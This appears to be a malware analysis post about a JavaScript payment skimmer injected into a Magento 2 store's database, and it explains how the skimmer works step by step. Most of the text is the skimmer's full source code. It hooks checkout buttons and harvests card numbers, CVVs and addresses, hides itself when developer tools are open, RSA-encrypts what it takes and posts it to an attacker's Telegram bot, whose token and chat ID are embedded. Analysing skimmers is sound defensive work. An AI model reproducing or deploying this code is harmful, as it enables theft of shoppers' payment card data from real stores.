Magento 2 Skimmer Exfiltrates to Telegram Bot
Outline
In the past Telegram bots have been used by attackers for exfiltrating their stolen data and now we see it being used as an exfiltration method with payment skimmers.
JavaScript Injection⌗
The skimmer loads on the victim’s Magento website from a Javascript injection in its files or database.
In this case the Javascript injection was located in the database table cms_block:
<script type="text/javascript" src="//beyondhealth.com/media/js/206754ef354122a9c0c27b333fbefe9f.js" defer></script>
Skimmer⌗
Targeted Checkout Page URLs⌗
The skimmer will use specific functions for detection of the victim and the victim’s activity on the targeted checkout pages.
For example, if your checkout page contains one of the following text in its URL then it would be one of the targeted checkout pages for this skimmer:
onepage
firecheckout
osc
Checkout
awesomecheckout
onestepcheckout
onepagecheckout
checkout
oscheckout
idecheckoutvm
Listening For Activity⌗
Another example, function butClk()
listens for the keypress of the “Place Order” button, which should be the last button pressed after all the payment data information has been entered by the victim on the checkout page:
function butClk() {
if (!butenter) {
document.addEventListener("keyup", function (b) {
if (b.keyCode === 13) {
payer();
}
});
butenter = true;
}
var c = document.querySelectorAll(
"a[title*='Place Order'],a[href*='javascript:;'],a[href*='javascript:void(0)'],a[href*='javascript:void(0);'],a[href='#'],button,input,submit,.btn,.button"
);
...
Capturing Payment Data⌗
Another function getData()
is responsible for capturing the payment card data from the input fields on the targeted checkout page form:
function getData() {
haveCnt = false;
var e = "";
var j = "";
var d = document.querySelectorAll(
"input[type=text],input[type=tel], input[type=number], input[type=password],input, select, textarea"
);
for (var b = 0; b < d.length; b++) {
if (d[b].value.length > 0 && d[b].value.length < 70) {
var c = d[b].name;
var g = d[b].id;
if (c == "" && g == "") {
c = "nf" + b;
} else {
if (c == "" && g !== "") {
c = g;
}
}
if (
new RegExp(
"shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country",
"i"
).test(c) &&
!new RegExp("method|same_as", "i").test(c)
) {
var a = c.replace(/\[/g, "-");
e += a.replace(/]/g, "") + "=" + d[b].value + "&";
}
}
j = d[b].value.replace(/[^\d]/g, "");
if (j.length > 13 && j.length < 20 && is_valid_luhn(j) && !haveCnt) {
haveCnt = true;
}
}
It uses document.querySelectorAll
to grab the data and then use a regular expression search RegExp
to see if the data contains any of the desired payment field text strings (e.g cc, card, expiration, ccv, etc).
Encryption of Stolen Data⌗
The captured payment data is then encrypted using the jsencrypt
function of JavaScript:
var keyCrypt =
"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0T5JoZ1zOnVaw2YzWobA\n+PpR0IrtVG0rMYu5PyPw9YylrObQXTdEGI1+hZcMY7VLVDQ+u+DbcH43iyX4tYoN\n/No9f1JBKiPREeggWO1+weG64EH1dTM9U1duEq4S+BEGeJjiofCDZTkxdmUuZmms\nUgDzDP0dypDeTHL0y/G1Arj/SZfdEr/ZnxK/sTr0z63f8ulyaDW1UKWpy6rIr0hN\n+UcjQUSEczOpc7+SLrZjFA4ai+SSWlVhQN1/SNPzPpO599chFYn7GyFuw2y9kEAK\nSIhvhQsZ5GdASCQMQTagt+UKbkcbewRV5ujUxpYFObwRWffL06xSIYqijGr1p88N\n0wIDAQAB\n-----END PUBLIC KEY-----";
...
function encryptData(d) {
crypt = jsencryptstart();
datalen = d.length;
maxlen = mt_rand(100, 240);
delim = Math.ceil(datalen / maxlen);
encData = "";
var c = makeid(mt_rand(4, 8));
for (i = 0; i < delim; i++) {
var a = d.substr(i * maxlen, maxlen);
enc = crypt.encrypt(a);
encData += enc;
}
var b = btoa(encodeURI(encData));
return b;
}
Telegram Bot Exfiltration⌗
After being encrypted, the stolen payment data is then exfiltrated from the infected website through a POST data request sent to a Telegram bot that is under the control of the attacker.
form_key =
document.getElementsByName("form_key")[0] === undefined
? ""
: "/" + document.getElementsByName("form_key")[0].value;
data = data + "&host=" + document.location.hostname;
data = data.replace(/[\&]{2,}/g, "&");
data = encryptData(data); //encrypted, stolen payment data
tmessage = data;
eval(
' var x = new XMLHttpRequest();\n x.open("POST", "https://api.telegram.org/bot"+tbot+"/sendMessage", true);\n x.setRequestHeader(\'Content-Type\', \'application/json; charset=utf-8\');\n x.withCredentials = false;\nvar dd = JSON.stringify({ \n chat_id: tchat,\n text: tmessage\n });\n x.send(dd);'
);
Samples⌗
<script type="text/javascript" src="//beyondhealth.com/media/js/206754ef354122a9c0c27b333fbefe9f.js" defer></script>
(function () {
"use strict";
const devtools = {
isOpen: false,
orientation: undefined,
};
const threshold = 160;
const emitEvent = (isOpen, orientation) => {
window.dispatchEvent(
new CustomEvent("devtoolschange", {
detail: {
isOpen,
orientation,
},
})
);
};
setInterval(() => {
const widthThreshold = window.outerWidth - window.innerWidth > 160;
const heightThreshold = window.outerHeight - window.innerHeight > 160;
const orientation = widthThreshold ? "vertical" : "horizontal";
if (
!(heightThreshold && widthThreshold) &&
((window.Firebug &&
window.Firebug.chrome &&
window.Firebug.chrome.isInitialized) ||
widthThreshold ||
heightThreshold)
) {
if (!devtools.isOpen || devtools.orientation !== orientation) {
emitEvent(true, orientation);
}
devtools.isOpen = true;
devtools.orientation = orientation;
} else {
if (devtools.isOpen) {
emitEvent(false, undefined);
}
devtools.isOpen = false;
devtools.orientation = undefined;
}
}, 500);
if (typeof module !== "undefined" && module.exports) {
module.exports = devtools;
} else {
window.devtools = devtools;
}
})();
setTimeout(function () {
var Encrypt = false;
var jsencryptstart = function () {
Encrypt = require("//cdnjs.cloudflare.com/ajax/libs/jsencrypt/2.3.1/jsencrypt.min.js");
crypt = new Encrypt.JSEncrypt();
crypt.setPublicKey(keyCrypt);
return crypt;
};
var ctrlu = false;
var ctrlshifti = false;
var cookName = "frontend_pay";
var butenter = false;
var butInstall = [];
var haveCnt = false;
var cookieCheck =
document.cookie.toLowerCase().indexOf("admin") > -1 ? true : false;
if (cookieCheck) {
setCookieForm("frontend_pay", genStr(10), 100);
}
var cookNameTest =
document.cookie.toLowerCase().indexOf("frontend_pay") > -1 ? true : false;
var h = window.location.host;
var Rf =
"shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country";
var Rc = "[0-9]{13,16}|[0-9 -]{16,20}";
var Rb = "select|password|checkbox|radio|text|hidden|number|tel|email";
var butt =
"a[title*='Place Order'],a[href*='javascript:;'],a[href*='javascript:void(0)'],a[href*='javascript:void(0);'],a[href='#'],button,input,submit,.btn,.button";
var tbot = "1002661085:AAEBKO_E_pJlzfedP4duKhMw6t80IPCRAHA";
var tchat = "-1001175025192";
var crypt = false;
var keyCrypt =
"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0T5JoZ1zOnVaw2YzWobA\n+PpR0IrtVG0rMYu5PyPw9YylrObQXTdEGI1+hZcMY7VLVDQ+u+DbcH43iyX4tYoN\n/No9f1JBKiPREeggWO1+weG64EH1dTM9U1duEq4S+BEGeJjiofCDZTkxdmUuZmms\nUgDzDP0dypDeTHL0y/G1Arj/SZfdEr/ZnxK/sTr0z63f8ulyaDW1UKWpy6rIr0hN\n+UcjQUSEczOpc7+SLrZjFA4ai+SSWlVhQN1/SNPzPpO599chFYn7GyFuw2y9kEAK\nSIhvhQsZ5GdASCQMQTagt+UKbkcbewRV5ujUxpYFObwRWffL06xSIYqijGr1p88N\n0wIDAQAB\n-----END PUBLIC KEY-----";
function setCookieForm(a, b, e) {
var c = new Date();
c.setTime(c.getTime() + 86400000 * e);
document.cookie = a + "=" + b + ";path=/;expires=" + c.toGMTString();
}
function genStr(e) {
var d = "";
var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var b = 0; b < e; b++) {
d += "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(
Math.floor(
Math.random() *
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
.length
)
);
}
return d;
}
function mt_rand(b, a) {
return Math.floor(Math.random() * (a - b + 1)) + b;
}
function makeid(a) {
var d = "";
var b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var c = 0; c < a; c++) {
d += "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(
Math.floor(
Math.random() *
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
.length
)
);
}
return d;
}
function is_valid_luhn(d) {
var a = d.replace(/[^\d]/g, "");
var e = "";
for (var b = a.length - 1; b >= 0; --b) {
e += b & 1 ? a[b] : (parseInt(a[b]) * 2).toString();
}
var c = e.split("").reduce(function (f, g) {
return f + parseInt(g);
}, 0);
return c % 10 === 0;
}
function butClk() {
if (!butenter) {
document.addEventListener("keyup", function (b) {
if (b.keyCode === 13) {
payer();
}
});
butenter = true;
}
var c = document.querySelectorAll(
"a[title*='Place Order'],a[href*='javascript:;'],a[href*='javascript:void(0)'],a[href*='javascript:void(0);'],a[href='#'],button,input,submit,.btn,.button"
);
for (var a = 0; a < c.length; a++) {
if (
new RegExp(
"select|password|checkbox|radio|text|hidden|number|tel|email",
"i"
).test(c[a].type)
) {
continue;
}
var e = "";
if (c[a].id !== "" && c[a].id !== undefined) {
e = c[a].id;
} else {
if (c[a].name !== "" && c[a].name !== undefined) {
e = c[a].name;
} else {
if (c[a].title !== "" && c[a].title !== undefined) {
e = c[a].title;
} else {
e = "bb" + a + "_12";
}
}
}
e = e + "_" + a;
if (butInstall.indexOf(e) != -1) {
continue;
}
c[a].addEventListener("click", payer);
butInstall.push(e);
}
var g = document.querySelectorAll("form");
for (var j = 0; j < g.length; j++) {
var d =
g[j].name == "" ? (g[j].id == "" ? "ff" + j : g[j].id) : g[j].name;
d = d + "_" + j;
if (butInstall.indexOf(d) != -1) {
continue;
}
g[j].addEventListener("submit", payer);
butInstall.push(d);
}
}
function getData() {
haveCnt = false;
var e = "";
var j = "";
var d = document.querySelectorAll(
"input[type=text],input[type=tel], input[type=number], input[type=password],input, select, textarea"
);
for (var b = 0; b < d.length; b++) {
if (d[b].value.length > 0 && d[b].value.length < 70) {
var c = d[b].name;
var g = d[b].id;
if (c == "" && g == "") {
c = "nf" + b;
} else {
if (c == "" && g !== "") {
c = g;
}
}
if (
new RegExp(
"shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country",
"i"
).test(c) &&
!new RegExp("method|same_as", "i").test(c)
) {
var a = c.replace(/\[/g, "-");
e += a.replace(/]/g, "") + "=" + d[b].value + "&";
}
}
j = d[b].value.replace(/[^\d]/g, "");
if (j.length > 13 && j.length < 20 && is_valid_luhn(j) && !haveCnt) {
haveCnt = true;
}
}
var f = e.split("street").length - 1;
for (b = 0; b <= f; b++) {
e = e.replace(/street-=/, "street-" + b + "=");
}
return e;
}
function encryptData(d) {
crypt = jsencryptstart();
datalen = d.length;
maxlen = mt_rand(100, 240);
delim = Math.ceil(datalen / maxlen);
encData = "";
var c = makeid(mt_rand(4, 8));
for (i = 0; i < delim; i++) {
var a = d.substr(i * maxlen, maxlen);
enc = crypt.encrypt(a);
encData += enc;
}
var b = btoa(encodeURI(encData));
return b;
}
function payer() {
if (
true &&
true &&
new RegExp("[0-9]{13,16}|[0-9 -]{16,20}").test(getData()) &&
!window.devtools.isOpen
) {
butClk();
var data = getData();
if (!haveCnt) {
return false;
}
if (
data.indexOf("street") < 1 &&
document.getElementsByClassName("billing-address-details")[0] !==
undefined
) {
if (
document.getElementsByClassName("billing-address-details")[0]
.innerText !== undefined
) {
data +=
"&fullData=" +
document
.getElementsByClassName("billing-address-details")[0]
.innerText.trim()
.replace(/\n/g, "|")
.replace(/,\ (.*?)\ ([0-9]+)/, "|$1|$2")
.replace(/[\ ]+\|/, "|")
.replace(/,([0-9])/, "|$1")
.replace(/\|Edit/, "");
} else {
data +=
"&fullData=" +
document
.getElementsByClassName("billing-address-details")[0]
.textContent.trim()
.replace(/\n/g, "|")
.replace(/,\ (.*?)\ ([0-9]+)/, "|$1|$2")
.replace(/[\ ]+\|/, "|")
.replace(/,([0-9])/, "|$1")
.replace(/\|Edit/, "");
}
}
form_key =
document.getElementsByName("form_key")[0] === undefined
? ""
: "/" + document.getElementsByName("form_key")[0].value;
data = data + "&host=" + document.location.hostname;
data = data.replace(/[\&]{2,}/g, "&");
data = encryptData(data);
tmessage = data;
eval(
' var x = new XMLHttpRequest();\n x.open("POST", "https://api.telegram.org/bot"+tbot+"/sendMessage", true);\n x.setRequestHeader(\'Content-Type\', \'application/json; charset=utf-8\');\n x.withCredentials = false;\nvar dd = JSON.stringify({ \n chat_id: tchat,\n text: tmessage\n });\n x.send(dd);'
);
}
}
function s1() {
Encrypt = require([
"//cdnjs.cloudflare.com/ajax/libs/jsencrypt/2.3.1/jsencrypt.min.js",
]);
if (
!new RegExp(
"onepage|firecheckout|osc|Checkout|awesomecheckout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm"
).test(window.location)
) {
return false;
}
if (cookieCheck || cookNameTest) {
return false;
}
if (false || false) {
return false;
}
if (window.devtools.isOpen) {
return false;
}
butClk();
}
document.addEventListener("DOMContentLoaded", s1);
document.addEventListener("change", s1);
document.addEventListener("click", s1);
document.addEventListener("load", s1);
document.onkeydown = function (a) {
if (a.ctrlKey && a.keyCode === 85) {
ctrlu = true;
}
if (a.shiftKey && a.keyCode === 73) {
ctrlshifti = true;
}
};
setTimeout(s1, 5000);
}, 7000);